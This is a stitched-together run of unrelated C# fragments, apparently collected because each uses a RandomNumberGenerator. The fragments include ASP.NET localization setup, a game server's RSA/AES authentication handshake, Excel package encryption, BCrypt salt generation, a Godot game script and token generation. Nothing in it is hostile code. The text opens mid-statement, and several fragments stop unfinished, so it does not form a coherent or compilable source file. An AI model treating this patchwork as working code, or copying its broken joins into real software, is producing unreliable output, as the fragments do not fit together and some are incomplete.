}) .AddViewLocalization() .SetCompatibilityVersion(CompatibilityVersion.Version_2_1); services.Configure <RequestLocalizationOptions>(options => { var supportedCultures = new[] { new CultureInfo("en"), new CultureInfo("ru") }; options.DefaultRequestCulture = new RequestCulture("en"); options.SupportedCultures = supportedCultures; options.SupportedUICultures = supportedCultures; }); services.AddSignalR(); }
public AzureKeyVaultXmlEncryptor(IKeyEncryptionKeyResolver client, string keyId) : this(client, keyId, RandomNumberGenerator.Create()) { }
/// <summary> /// Initializes a new instance of the <see cref="CouponCodeBuilder"/> class. /// </summary> public CouponCodeBuilder() { this.BadWordsList = "SHPX PHAG JNAX JNAT CVFF PBPX FUVG GJNG GVGF SNEG URYY ZHSS QVPX XABO NEFR FUNT GBFF FYHG GHEQ FYNT PENC CBBC OHGG SRPX OBBO WVFZ WVMM CUNG'".Split(' '); this.SetupSymbolsDictionary(); this.randomNumberGenerator = new SecureRandom(); }
private async void HandleHandshake(NetPeerData peer, NetConnection connection) { try { var incPacket = await AwaitData(connection); var msgLogin = new MsgLoginStart(); msgLogin.ReadFromBuffer(incPacket); var ip = connection.RemoteEndPoint.Address; var isLocal = IPAddress.IsLoopback(ip) && _config.GetCVar(CVars.AuthAllowLocal); var canAuth = msgLogin.CanAuth; var needPk = msgLogin.NeedPubKey; var authServer = _config.GetCVar(CVars.AuthServer); if (Auth == AuthMode.Required && !isLocal) { if (!canAuth) { connection.Disconnect("Connecting to this server requires authentication"); return; } } NetEncryption?encryption = null; NetUserData userData; LoginType type; var padSuccessMessage = true; if (canAuth && Auth != AuthMode.Disabled) { var verifyToken = new byte[4]; RandomNumberGenerator.Fill(verifyToken); var msgEncReq = new MsgEncryptionRequest { PublicKey = needPk ? RsaPublicKey : Array.Empty <byte>(), VerifyToken = verifyToken }; var outMsgEncReq = peer.Peer.CreateMessage(); outMsgEncReq.Write(false); outMsgEncReq.WritePadBits(); msgEncReq.WriteToBuffer(outMsgEncReq); peer.Peer.SendMessage(outMsgEncReq, connection, NetDeliveryMethod.ReliableOrdered); incPacket = await AwaitData(connection); var msgEncResponse = new MsgEncryptionResponse(); msgEncResponse.ReadFromBuffer(incPacket); byte[] verifyTokenCheck; byte[] sharedSecret; try { verifyTokenCheck = _authRsaPrivateKey !.Decrypt( msgEncResponse.VerifyToken, RSAEncryptionPadding.OaepSHA256); sharedSecret = _authRsaPrivateKey !.Decrypt( msgEncResponse.SharedSecret, RSAEncryptionPadding.OaepSHA256); } catch (CryptographicException) { // Launcher gives the client the public RSA key of the server BUT // that doesn't persist if the server restarts. // In that case, the decrypt can fail here. connection.Disconnect( "Token decryption failed.\nPlease reconnect to this server from the launcher."); return; } if (!verifyToken.SequenceEqual(verifyTokenCheck)) { connection.Disconnect("Verify token is invalid"); return; } if (msgLogin.Encrypt) { encryption = new NetAESEncryption(peer.Peer, sharedSecret, 0, sharedSecret.Length); } var authHashBytes = MakeAuthHash(sharedSecret, RsaPublicKey !); var authHash = Base64Helpers.ConvertToBase64Url(authHashBytes); var client = new HttpClient(); var url = $"{authServer}api/session/hasJoined?hash={authHash}&userId={msgEncResponse.UserId}"; var joinedRespJson = await client.GetFromJsonAsync <HasJoinedResponse>(url); if (joinedRespJson is not { IsValid : true }) { connection.Disconnect("Failed to validate login"); return; } var userId = new NetUserId(joinedRespJson.UserData !.UserId); userData = new NetUserData(userId, joinedRespJson.UserData.UserName) { PatronTier = joinedRespJson.UserData.PatronTier, HWId = msgLogin.HWId }; padSuccessMessage = false; type = LoginType.LoggedIn; }
public CryptoApiRandomGenerator() #if NEW_REFLECTION // .NET Core TODO:Check if correct for other builds... : this(RandomNumberGenerator.Create()) #else : this(new RNGCryptoServiceProvider())
public void Load() { var dom = new System.Xml.XmlDocument(); dom.Load(_fileName); var root = dom.DocumentElement; _randomize = Convert.ToBoolean(root.SelectSingleNode("/Simulation/GlobalParameters/Randomize").InnerText); if (root.SelectSingleNode("/Simulation/GlobalParameters/RandomNumberGenerator") != null) { var rngAsString = root.SelectSingleNode("/Simulation/GlobalParameters/RandomNumberGenerator").InnerText.ToLowerInvariant(); switch (rngAsString) { case "dotnet": _rng = RandomNumberGenerator.DotNet; break; case "mersennetwister": _rng = RandomNumberGenerator.MersenneTwister; break; default: throw new InvalidOperationException("The configuration value for the RandomNumberGenerator is not supported"); } } else _rng = RandomNumberGenerator.DotNet; var defaultYearsToAggregate = Convert.ToInt32(root.SelectSingleNode("/Simulation/GlobalParameters/YearsToAggregate").InnerText); var defaultOutputDisaggregated = Convert.ToBoolean(root.SelectSingleNode("/Simulation/GlobalParameters/OutputDisaggregatedData").InnerText); var defaultWeightingCombination = root.SelectSingleNode("/Simulation/GlobalParameters/WeightingCombination").InnerText; var defaultMonteCarloRuns = Convert.ToInt32(root.SelectSingleNode("/Simulation/GlobalParameters/MonteCarloRuns").InnerText); _outputVerbal = Convert.ToBoolean(root.SelectSingleNode("/Simulation/GlobalParameters/OutputVerbal").InnerText); _outputInputParameters = Convert.ToBoolean(root.SelectSingleNode("/Simulation/GlobalParameters/OutputInputParameters").InnerText); if (root.SelectSingleNode("/Simulation/GlobalParameters/SameRandomStreamPerRun") != null) SameRandomStreamPerRun = Convert.ToBoolean(root.SelectSingleNode("/Simulation/GlobalParameters/SameRandomStreamPerRun").InnerText); else SameRandomStreamPerRun = false; if (root.SelectSingleNode("/Simulation/GlobalParameters/RunParallel") != null) RunParallel = Convert.ToBoolean(root.SelectSingleNode("/Simulation/GlobalParameters/RunParallel").InnerText); else RunParallel = false; var scenarioNodes = root.SelectNodes("/Simulation/Scenarios/Scenario"); var lScenarios = new Dictionary<string, Scenario>(); var currentScenarioId = 0; foreach (XmlNode scenarioNode in scenarioNodes) { var scenario = new Scenario(); scenario.Name = (scenarioNode as XmlElement).GetAttribute("name"); scenario.Id = currentScenarioId; var excelfileNodes = scenarioNode.SelectNodes("ExcelFile"); foreach (XmlNode excelfileNode in excelfileNodes) { string excelfilename = Path.IsPathRooted(excelfileNode.InnerText) ? excelfileNode.InnerText : Path.Combine(Path.GetDirectoryName(Path.GetFullPath(_fileName)), excelfileNode.InnerText); scenario.ExcelFiles.Add(excelfilename); } lScenarios.Add(scenario.Name, scenario); _scenarios.Add(scenario); currentScenarioId++; } var runNodes = root.SelectNodes("/Simulation/Runs/Run"); foreach (XmlNode runNode in runNodes) { var run = new Run(); run.Scenario = lScenarios[runNode.SelectSingleNode("Scenario").InnerText]; if (runNode.SelectSingleNode("MonteCarloRuns") != null) run.MonteCarloRuns = Convert.ToInt32(runNode.SelectSingleNode("MonteCarloRuns").InnerText); else run.MonteCarloRuns = defaultMonteCarloRuns; switch (runNode.SelectSingleNode("Mode").InnerText) { case "Marginal": run.Mode = RunMode.MarginalRun; break; case "Total": run.Mode = RunMode.TotalRun; break; case "FullMarginal": run.Mode = RunMode.FullMarginalRun; break; default: throw new ApplicationException("Invalid value for Mode in configuration file"); } if (runNode.SelectSingleNode("YearsToAggregate") != null) run.YearsToAggregate = Convert.ToInt32(runNode.SelectSingleNode("YearsToAggregate").InnerText); else run.YearsToAggregate = defaultYearsToAggregate; if (runNode.SelectSingleNode("CalculateMeanForMonteCarlo") != null) run.CalculateMeanForMonteCarlo = Convert.ToBoolean(runNode.SelectSingleNode("CalculateMeanForMonteCarlo").InnerText); else run.CalculateMeanForMonteCarlo = false; if (runNode.SelectSingleNode("OutputAllMonteCarloRuns") != null) run.OutputAllMonteCarloRuns = Convert.ToBoolean(runNode.SelectSingleNode("OutputAllMonteCarloRuns").InnerText); else run.OutputAllMonteCarloRuns = true; if (runNode.SelectSingleNode("WeightingCombination") != null) run.WeightingCombination = runNode.SelectSingleNode("WeightingCombination").InnerText; else run.WeightingCombination = defaultWeightingCombination; if (runNode.SelectSingleNode("OutputDisaggregatedData") != null) run.OutputDisaggregatedData = Convert.ToBoolean(runNode.SelectSingleNode("OutputDisaggregatedData").InnerText); else run.OutputDisaggregatedData = defaultOutputDisaggregated; if (runNode.SelectSingleNode("EmissionYear") != null) run.EmissionYear = Timestep.FromYear(Convert.ToInt32(runNode.SelectSingleNode("EmissionYear").InnerText)); else run.EmissionYear = Timestep.FromYear(2005); if (runNode.SelectSingleNode("MarginalGas") != null) { switch (runNode.SelectSingleNode("MarginalGas").InnerText) { case "C": run.MarginalGas = MarginalGas.C; break; case "CH4": run.MarginalGas = MarginalGas.CH4; break; case "N2O": run.MarginalGas = MarginalGas.N2O; break; case "SF6": run.MarginalGas = MarginalGas.SF6; break; default: throw new ApplicationException("Invalid value for MarginalGas in configuration file"); } } else run.MarginalGas = MarginalGas.C; if (runNode.SelectSingleNode("InitialTax") != null) run.InitialTax = Convert.ToDouble(runNode.SelectSingleNode("InitialTax").InnerText); else run.InitialTax = 0.0; run.OutputVerbal = _outputVerbal; _runs.Add(run); } }
private MemoryStream EncryptPackageAgile(byte[] package, ExcelEncryption encryption) { var xml = "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\r\n"; xml += "<encryption xmlns=\"http://schemas.microsoft.com/office/2006/encryption\" xmlns:p=\"http://schemas.microsoft.com/office/2006/keyEncryptor/password\" xmlns:c=\"http://schemas.microsoft.com/office/2006/keyEncryptor/certificate\">"; xml += "<keyData saltSize=\"16\" blockSize=\"16\" keyBits=\"256\" hashSize=\"64\" cipherAlgorithm=\"AES\" cipherChaining=\"ChainingModeCBC\" hashAlgorithm=\"SHA512\" saltValue=\"\"/>"; xml += "<dataIntegrity encryptedHmacKey=\"\" encryptedHmacValue=\"\"/>"; xml += "<keyEncryptors>"; xml += "<keyEncryptor uri=\"http://schemas.microsoft.com/office/2006/keyEncryptor/password\">"; xml += "<p:encryptedKey spinCount=\"100000\" saltSize=\"16\" blockSize=\"16\" keyBits=\"256\" hashSize=\"64\" cipherAlgorithm=\"AES\" cipherChaining=\"ChainingModeCBC\" hashAlgorithm=\"SHA512\" saltValue=\"\" encryptedVerifierHashInput=\"\" encryptedVerifierHashValue=\"\" encryptedKeyValue=\"\" />"; xml += "</keyEncryptor></keyEncryptors></encryption>"; var encryptionInfo = new EncryptionInfoAgile(); encryptionInfo.ReadFromXml(xml); var encr = encryptionInfo.KeyEncryptors[0]; var rnd = RandomNumberGenerator.Create(); var s = new byte[16]; rnd.GetBytes(s); encryptionInfo.KeyData.SaltValue = s; rnd.GetBytes(s); encr.SaltValue = s; encr.KeyValue = new byte[encr.KeyBits / 8]; rnd.GetBytes(encr.KeyValue); //Get the password key. var hashProvider = GetHashProvider(encryptionInfo.KeyEncryptors[0]); var baseHash = GetPasswordHash(hashProvider, encr.SaltValue, encryption.Password, encr.SpinCount, encr.HashSize); var hashFinal = GetFinalHash(hashProvider, BlockKey_KeyValue, baseHash); hashFinal = FixHashSize(hashFinal, encr.KeyBits / 8); var encrData = EncryptDataAgile(package, encryptionInfo, hashProvider); /**** Data Integrity ****/ var saltHMAC = new byte[64]; rnd.GetBytes(saltHMAC); SetHMAC(encryptionInfo, hashProvider, saltHMAC, encrData); /**** Verifier ****/ encr.VerifierHashInput = new byte[16]; rnd.GetBytes(encr.VerifierHashInput); encr.VerifierHash = hashProvider.ComputeHash(encr.VerifierHashInput); var VerifierInputKey = GetFinalHash(hashProvider, BlockKey_HashInput, baseHash); var VerifierHashKey = GetFinalHash(hashProvider, BlockKey_HashValue, baseHash); var KeyValueKey = GetFinalHash(hashProvider, BlockKey_KeyValue, baseHash); var ms = new MemoryStream(); EncryptAgileFromKey(encr, VerifierInputKey, encr.VerifierHashInput, 0, encr.VerifierHashInput.Length, encr.SaltValue, ms); encr.EncryptedVerifierHashInput = ms.ToArray(); ms = new MemoryStream(); EncryptAgileFromKey(encr, VerifierHashKey, encr.VerifierHash, 0, encr.VerifierHash.Length, encr.SaltValue, ms); encr.EncryptedVerifierHash = ms.ToArray(); ms = new MemoryStream(); EncryptAgileFromKey(encr, KeyValueKey, encr.KeyValue, 0, encr.KeyValue.Length, encr.SaltValue, ms); encr.EncryptedKeyValue = ms.ToArray(); xml = encryptionInfo.Xml.OuterXml; var byXml = Encoding.UTF8.GetBytes(xml); ms = new MemoryStream(); ms.Write(BitConverter.GetBytes((ushort)4), 0, 2); //Major Version ms.Write(BitConverter.GetBytes((ushort)4), 0, 2); //Minor Version ms.Write(BitConverter.GetBytes((uint)0x40), 0, 4); //Reserved ms.Write(byXml, 0, byXml.Length); var doc = new CompoundDocument(); //Add the dataspace streams CreateDataSpaces(doc); //EncryptionInfo... doc.Storage.DataStreams.Add("EncryptionInfo", ms.ToArray()); //...and the encrypted package doc.Storage.DataStreams.Add("EncryptedPackage", encrData); ms = new MemoryStream(); doc.Save(ms); //ms.Write(e,0,e.Length); return(ms); }
/// <summary> /// Generate a salt for use with the BCrypt.HashPassword() method. /// </summary> /// <param name="logRounds">The log2 of the number of rounds of /// hashing to apply. The work factor therefore increases as (2 ** /// logRounds).</param> /// <param name="random">An instance of RandomNumberGenerator to use.</param> /// <returns>An encoded salt value.</returns> public static string GenerateSalt(int logRounds, RandomNumberGenerator random) { byte[] randomBytes = new byte[BCRYPT_SALT_LEN]; random.GetBytes(randomBytes); StringBuilder rs = new StringBuilder((randomBytes.Length * 2) + 8); rs.Append("$2a$"); if (logRounds < 10) { rs.Append('0'); } rs.Append(logRounds); rs.Append('$'); rs.Append(EncodeBase64(randomBytes, randomBytes.Length)); return rs.ToString(); }
public void inicia() { try { objrand = new RandomNumberGenerator(); objrand.Randomize(); int tipodisenyo = 0; textura1 = (Texture)GD.Load("res://art/texturas/caraenfadado.png"); textura2 = (Texture)GD.Load("res://art/texturas/caraenfadado_alt.png"); texturadanyo1 = (Texture)GD.Load("res://art/texturas/danyo/danyo_caja1.png"); Cara = (MeshInstance)GetNode("Cara"); Cuerpo = (MeshInstance)GetNode("Cuerpo"); Colision = (CollisionShape)GetNode("CollisionShape"); this.Translation = precargaPosicionInicial; if (tipodisenyo == 0) { RandomNumberGenerator objrand = new RandomNumberGenerator(); objrand.Randomize(); tipodisenyo = objrand.RandiRange(1, 2); } Color colorcuerpo = Color.Color8(0, 0, 0, 0); if (tipodisenyo == 2) { colorcuerpo = Color.Color8(255, 255, 255, 0); } SpatialMaterial matcuerpo = (SpatialMaterial)Cuerpo.GetSurfaceMaterial(0); matcuerpo.AlbedoColor = colorcuerpo; Cuerpo.MaterialOverride = matcuerpo; cambiaTipoMovimiento(TIPOSMOVIMIENTOS.MOVIENDOSE, 0); //cambiaTipoMovimiento(TIPOSMOVIMIENTOS.NINGUNO,0); // timergirador = (Timer)GetNode("TimerGirador"); //inicia_timer_direccion(); cambiaObjetivoAzar(); rehaceObjetivoAltura(); this.AddChild(timerusogeneral); // timerusogeneral.WaitTime = TIEMPOPREPARAATAQUE; timerusogeneral.Connect("timeout", this, nameof(ciclo_timer_general)); activaFuegoYHumo(false); // timerdireccion = (Timer)GetNode("TimerCambioDireccion"); // quitaObjetivoJugador(); } catch (Exception ex) { } }
/// <summary> /// Our default static constructor that initializes any constant and shared values. /// </summary> static EthereumEcdsaNative() { _secureRng = RandomNumberGenerator.Create(); }
internal static string GenerateToken(RandomNumberGenerator generator) { byte[] tokenBytes = new byte[TokenSizeInBytes]; generator.GetBytes(tokenBytes); return HttpServerUtility.UrlTokenEncode(tokenBytes); }
public RouletteTable(int maxChipsOnTable, RandomNumberGenerator generator, Timer timer) { this.maxChipsOnTable = maxChipsOnTable; this.rng = generator; this.timer = timer; }